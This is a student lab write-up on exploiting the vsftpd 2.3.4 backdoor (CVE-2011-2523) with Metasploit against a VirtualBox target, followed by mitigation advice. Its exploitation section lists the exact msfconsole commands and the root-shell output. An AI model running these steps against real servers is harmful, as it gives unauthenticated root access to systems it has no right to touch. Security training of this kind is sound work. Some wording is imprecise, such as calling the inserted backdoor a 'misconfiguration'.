

Project Title: Expliciting vsftpd 2.3.4 Backdoor using Metasploit:

Overview:

To perform a penetration test on a vulnerable target machine by exploiting the know backdoor vulnerability in vsftpd 2.3.4 using the Metasploit Framework.

- Vulnerability name: vsftpd 2.3.4 Backdoor
- o CVE: CVE-2011-2523
- Metaspliot Module: exploit/unix/ftp/vsftpd_234_backdoor

Tools used:

- Kali linux
- Metaspliot Framework (msfconsole)
- Vulnerable Machine with vsftpd 2.3.4 installed
- VirtualBox
- Nmap

Exploitation:

- 1. Found Metasploit IP address by using Nmap scan in Kali Linux.
 - o IP: 192.168.1.38
- 2. Launched msfconsole.
 - o msfconsole
- 3. Searched for the vsftpd exploit module.
 - o search vsftpd 2.3.4
- 4. Selected the exploit.
 - use exploit/unix/ftp/vsftpd_234_backdoor
- 5. Set the target IP.
 - o set RHOSTS 192.168.1.38
- 6. Run the exploit
 - o run
- 7. Metasploit successfully connected and opend a command shell with root privileges.
 - o Found shell

Command shell session 1 opend

UID=0(root) GID=0(root)

- 8. Verified shell access using.
 - o whoami
 - o uname -a

Impact of the Vulnerability:

- This vulnerability in vsftpd 2.3.4 allows attackers to gain unauthenticated root shell access.
- If exploited in the real world, attackers can fully compromise the server.
- This is a serious misconfiguration left intentionally by a malicious version of the vsftpd binary.

Mitigation:

- Never use outdated software versions like vsftpd 2.3.4.
- Regularly patch and update services.
- Perform routine vulnerability scans and pentesting.
- Use host-based firewalls to restrict FTP access.

Screenshots:

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CONCLUSION: in this project, I used the Metasploit Framework to exploit a known backdoor vulnerability in vsftpd 2.3.4. By running a simple exploit module, I was able to get root access on the target machine. This helped me understand how attackers take advantage of outdated software I also learned how Metasploit works, how to find and use modules, and how to open a shell session. This practical experience improved my knowledge of real-world attacks and how to prevent them. Overall, this project helped me feel more confident in using Metasploit as a penetration testing tool.